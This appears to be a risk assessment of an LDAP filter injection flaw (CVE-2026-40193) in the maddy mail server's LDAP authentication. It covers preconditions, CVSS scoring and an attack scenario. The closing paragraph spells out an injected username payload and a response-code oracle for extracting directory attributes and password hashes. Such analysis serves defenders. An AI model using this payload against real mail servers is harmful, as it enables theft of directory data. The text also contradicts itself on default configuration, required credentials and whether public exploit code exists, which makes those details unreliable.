LDAP CVE-2026-40193

Exploitation requires the target maddy instance to be configured with the auth.ldap module enabled and either the filter or dn_template directive specified in the configuration file (not default configuration - requires explicit administrator setup). The attacker must have network connectivity to maddy's SMTP submission port (typically 587) or IMAP port (143/993) - these are legitimately exposed services in mail server deployments. For boolean-based blind injection attacks that extract attributes of the attacker's own LDAP account, valid credentials for at least one directory user are required (authentication level: low-privileged user). For timing-based attacks extracting attributes of other users, no valid credentials are needed (PR:N matches CVSS vector). The underlying LDAP directory must be reachable from the maddy server and must contain at least one user entry matching the base DN and object class in the filter template. No specific LDAP server version or configuration is required - the vulnerability is in maddy's client-side filter construction. User interaction is not required (UI:N). Exploitation works against default maddy LDAP authentication configurations and does not depend on non-default settings beyond the decision to use LDAP authentication itself.

Real-world risk is elevated due to the combination of network-accessible attack vector (AV:N), low complexity (AC:L), no authentication requirement (PR:N), and high confidentiality impact (C:H) per CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N. The 8.2 CVSS score accurately reflects the technical severity. However, exploitability depends on the target deploying maddy with auth.ldap enabled and either the filter or dn_template directive configured - this is not a default configuration but represents a significant subset of production maddy deployments. The vendor-provided proof-of-concept demonstrates practical exploitation with both boolean-based blind injection (using authentication success/failure as an oracle) and timing-based attacks (measuring LDAP bind latency differences). The detailed PoC significantly lowers the skill threshold for exploitation. No CISA KEV listing or public exploit code has been identified, suggesting exploitation remains theoretical or limited to security research contexts. EPSS probability score is unavailable for this 2026 CVE. From an SSVC perspective: exploitation status is POC-available, automatable (protocol-level injection requires no user interaction), technical impact is total compromise of LDAP directory confidentiality plus partial integrity impact via identity spoofing. Prioritization should focus on installations using LDAP authentication, particularly those exposing SMTP/IMAP to untrusted networks. The low integrity impact (I:L) reflects that while attackers can spoof authenticated sessions, they cannot modify LDAP directory contents directly through this vulnerability.

An external attacker connects to the target's internet-facing SMTP submission service on port 587 and initiates STARTTLS negotiation. They send an AUTH PLAIN command with a base64-encoded credential blob containing the injected username 'bob)(description=S*' paired with a known or brute-forced password for user 'bob'. The maddy server constructs the LDAP filter (&(objectClass=inetOrgPerson)(uid=bob)(description=S*)) without escaping, queries the directory, and returns authentication success (235) if bob's description attribute starts with 'S', or failure (535) otherwise. By iterating through character sets and observing response codes, the attacker extracts bob's full description field value, then pivots to extracting userPassword hashes or other sensitive attributes. The attacker can repeat this process for any LDAP attribute across all directory users using timing side-channels when credentials are unknown. Public proof-of-concept code demonstrating both boolean-based and timing-based extraction techniques is available in the vendor advisory.